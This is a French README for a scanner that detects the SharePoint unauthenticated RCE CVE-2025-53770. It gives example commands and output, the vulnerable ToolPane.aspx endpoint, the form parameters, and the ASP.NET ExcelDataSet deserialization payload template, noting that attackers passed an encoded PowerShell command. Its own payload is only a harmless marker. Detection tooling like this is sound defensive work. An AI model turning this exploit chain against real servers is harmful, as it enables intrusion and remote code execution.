
Scanner pour la vulnérabilité zero day RCE CVE-2025-53770 de SharePoint (fork de hazcod/CVE-2025-53770)
Ceci est un scanner pour la vulnérabilité d'exécution de code à distance non authentifiée de SharePoint, à laquelle est attribué le numéro CVE CVE-2025-53770. Le code de cet outil a été écrit en rétro-ingénierie d'un payload observé dans la nature.
À utiliser à vos risques et périls, je ne suis pas responsable des éventuels impacts négatifs que cela pourrait causer.
Il tente d'exploiter la vulnérabilité en injectant un marqueur dans le widget ToolBox de SharePoint. Si ce marqueur inoffensif est trouvé dans la réponse du serveur SharePoint, l'hôte est marqué comme vulnérable.
# check if <TARGET-HOSTNAME> is vulnerable and try extract version information
% ./CVE-2025-53770 [<TARGET-HOSTNAME> ...]
INFO[0000] set log level fields.level=info
INFO[0000] starting scanner targets=1
INFO[0001] detected SharePoint version target=<REDACTED> version="MicrosoftSharePointTeamServices: 16.0.0.5469\n"
WARN[0001] target is vulnerable target=<REDACTED>
# turn on debug logging and try retrieving SharePoint version information
% ./CVE-2025-53770 -log=debug -version <TARGET-HOSTNAME>
...
Toute personne exécutant la version on-prem du serveur SharePoint sans KB5002768 ni KB5002754.
La vulnérabilité repose vraisemblablement sur une vulnérabilité précédemment divulguée pour SharePoint, CVE-2025-49706.
En envoyant une requête HTTP POST à https://<TARGET>/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx avec un payload compressé en GZIP et encodé en BASE64, vous pouvez obtenir une exécution de code à distance dans le processus d'exécution de SharePoint.
Deux paramètres de formulaire sont importants ici :
MSOTlPn_Uri : chemin de la source du contrôleCe paramètre prétend référencer un contrôle SharePoint légitime (AclEditor.ascx) et trompe SharePoint afin qu'il autorise la modification du composant WebPart.
Il semble s'agir d'une valeur factice, simplement destinée à passer la validation.
Le payload malveillant d'origine inclut MSOTlPn_Uri=https://<TARGET>%s/_controltemplates/15/AclEditor.ascx, mais cela ne semble pas être utilisé à ce stade.
MSOTlPn_DWP : configuration du composant WebPartCe paramètre injecte des directives ASP.NET personnalisées (<%@ Register %>) et du balisage côté serveur (<Scorecard:ExcelDataSet>).
Le paramètre CompressedDataTable contient des données sérialisées contrôlées par l'attaquant (GZIP + base64), déclenchant l'exécution de code à distance.
Ce payload suit une certaine structure :
<%@ Register Tagprefix="Scorecard" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<%@ Register Tagprefix="asp" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<asp:UpdateProgress ID="UpdateProgress1" DisplayAfter="10" runat="server" AssociatedUpdatePanelID="upTest">
<ProgressTemplate>
<div class="divWaiting">
<Scorecard:ExcelDataSet CompressedDataTable="<PAYLOAD-GZIPPED-BASE64-ENCODED>" DataTable-CaseSensitive="false" runat="server"></Scorecard:ExcelDataSet>
</div>
</ProgressTemplate>
</asp:UpdateProgress>
Si un contrôle tel que Scorecard:ExcelDataSet existe et que sa propriété CompressedDataTable est définie, il est désérialisé directement par le parseur DWP de SharePoint.
Le payload lui-même peut être assez intéressant, car il peut contenir un System.DelegateSerializationHolder qui déclenche une exécution de code à distance par désérialisation.
Les acteurs malveillants ont abusé de cela pour passer /c powershell -EncodedCommand <POWERSHELL-PAYLOAD> dans leur payload afin d'obtenir une exécution de code.
Dans notre cas, nous passons simplement un espace réservé statique pour prouver l'exploitabilité ;
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<foo>
<bar diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
<poc xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<TestWrapper>
<Info>This is a harmless CVE-2025-53770 PoC marker.</Info>
<Timestamp>2025-07-21T14:04:52Z</Timestamp>
</TestWrapper>
</poc>
</bar>
</foo>
</diffgr:diffgram>